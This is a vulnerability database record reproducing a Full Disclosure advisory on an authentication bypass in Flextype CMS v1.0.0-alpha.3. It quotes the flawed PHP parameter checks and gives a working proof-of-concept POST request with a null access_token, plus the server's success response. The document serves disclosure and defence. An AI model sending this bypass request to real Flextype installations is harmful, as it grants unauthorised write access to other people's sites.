GCVE-1988-2026-0011
Vulnerability from gna-1988 β Published: 2026-09-07 06:42 β Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an authentication validation
vulnerability in the API request-processing functionality. API endpoints
may declare access_token as a required parameter, but the
required-parameter validation only verifies that the corresponding key
exists in the supplied request data.
Authentication verification is subsequently performed inside an isset($data
['access_token']) condition. In PHP, isset() returns false when a key
exists but its value is null.
An attacker can therefore supply "access_token": null, satisfying the
required-parameter existence check while causing the subsequent
access-token verification logic to be skipped.
Testing confirmed that a protected Entries API operation accepted an
access_token value of null and successfully created an entry.
Impact
An remote attacker can bypass the access_token authentication requirement
for affected API endpoints.
The resulting impact depends on the functionality exposed by the affected
endpoint. Where the bypass provides access to entry creation, modification,
query, or other privileged API functionality, it may also remove the
authentication prerequisite from vulnerabilities reachable through those
endpoints.
The public API token requirement should be considered separately from the
bypassed access_token security control.
DetailsRequired Parameter Validation
Flextype combines query and request-body parameters and verifies required
parameters by checking only whether the required key occurs within the
resulting array:
$data = array_merge($queryData, $bodyData);
$dataTest = true;
foreach ($options['params'] as $key => $value) {
if (in_array($value, array_keys($data))) {
continue;
}
$dataTest = false;
}
Consequently, a request containing:
{
"access_token": null
}
satisfies the parameter-presence requirement because the access_token key
exists.
Authentication Verification
Access-token validation is subsequently conditional upon PHP's isset():
if (isset($data['access_token'])) {
if (! isset($tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
if (! verifyTokenHash($data['access_token'],
$tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
}
For a PHP array containing an access_token key whose value is null:
isset($data['access_token'])
evaluates to false.
The authentication verification block is therefore skipped.
Proof of Concept
The following request supplies the required access_token parameter with a
JSON null value:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":null,"id":"auth-null-proof","data":{"title":"AUTH_NULL_BYPASS_PROOF"}}
Flextype accepted the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18086
Content-Type: application/json;charset=UTF-8
{"title":"AUTH_NULL_BYPASS_PROOF","published_by":"","created_by":"","uuid":"514b6f5a-dc16-4572-9c16-8ac4a17250f0","content":"","slug":"auth-null-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"auth-null-proof"}
The successful creation of auth-null-proof demonstrates that supplying a
null access token bypasses the access-token verification performed by the
API authentication logic.
Root Cause
The vulnerability results from inconsistent validation of required
parameters.
The first validation considers a parameter present when its key exists:
in_array($value, array_keys($data))
while authentication is conditional upon:
isset($data['access_token'])
These operations have different behavior for null values.
A JSON value of:
"access_token": null
therefore satisfies the first condition while preventing execution of the
second.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure β’ Proof-of-Concept Development
π https://github.com/ob1sec
π https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an authentication validation\nvulnerability in the API request-processing functionality. API endpoints\nmay declare access_token as a required parameter, but the\nrequired-parameter validation only verifies that the corresponding key\nexists in the supplied request data.\n\nAuthentication verification is subsequently performed inside an isset($data\n[\u0027access_token\u0027]) condition. In PHP, isset() returns false when a key\nexists but its value is null.\n\nAn attacker can therefore supply \"access_token\": null, satisfying the\nrequired-parameter existence check while causing the subsequent\naccess-token verification logic to be skipped.\n\nTesting confirmed that a protected Entries API operation accepted an\naccess_token value of null and successfully created an entry.\nImpact\n\nAn remote attacker can bypass the access_token authentication requirement\nfor affected API endpoints.\n\nThe resulting impact depends on the functionality exposed by the affected\nendpoint. Where the bypass provides access to entry creation, modification,\nquery, or other privileged API functionality, it may also remove the\nauthentication prerequisite from vulnerabilities reachable through those\nendpoints.\n\nThe public API token requirement should be considered separately from the\nbypassed access_token security control.\nDetailsRequired Parameter Validation\n\nFlextype combines query and request-body parameters and verifies required\nparameters by checking only whether the required key occurs within the\nresulting array:\n\n$data = array_merge($queryData, $bodyData);\n\n$dataTest = true;\n\nforeach ($options[\u0027params\u0027] as $key =\u003e $value) {\n if (in_array($value, array_keys($data))) {\n continue;\n }\n\n $dataTest = false;\n}\n\nConsequently, a request containing:\n\n{\n \"access_token\": null\n}\n\nsatisfies the parameter-presence requirement because the access_token key\nexists.\nAuthentication Verification\n\nAccess-token validation is subsequently conditional upon PHP\u0027s isset():\n\nif (isset($data[\u0027access_token\u0027])) {\n if (! isset($tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n\n if (! verifyTokenHash($data[\u0027access_token\u0027],\n$tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n}\n\nFor a PHP array containing an access_token key whose value is null:\n\nisset($data[\u0027access_token\u0027])\n\nevaluates to false.\n\nThe authentication verification block is therefore skipped.\nProof of Concept\n\nThe following request supplies the required access_token parameter with a\nJSON null value:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":null,\"id\":\"auth-null-proof\",\"data\":{\"title\":\"AUTH_NULL_BYPASS_PROOF\"}}\n\nFlextype accepted the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18086\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"AUTH_NULL_BYPASS_PROOF\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"514b6f5a-dc16-4572-9c16-8ac4a17250f0\",\"content\":\"\",\"slug\":\"auth-null-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"auth-null-proof\"}\n\nThe successful creation of auth-null-proof demonstrates that supplying a\nnull access token bypasses the access-token verification performed by the\nAPI authentication logic.\nRoot Cause\n\nThe vulnerability results from inconsistent validation of required\nparameters.\n\nThe first validation considers a parameter present when its key exists:\n\nin_array($value, array_keys($data))\n\nwhile authentication is conditional upon:\n\nisset($data[\u0027access_token\u0027])\n\nThese operations have different behavior for null values.\n\nA JSON value of:\n\n\"access_token\": null\n\ntherefore satisfies the first condition while preventing execution of the\nsecond.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:57Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/23"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/23"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0011",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23",
"automated": true,
"contentSha256": "efe9de737ca56dbcd80c23ad730f7fd8c9523cc4918fd3fb3e884a81fe122cb6",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/23",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:50:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:57Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0011"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loadingβ¦
Loadingβ¦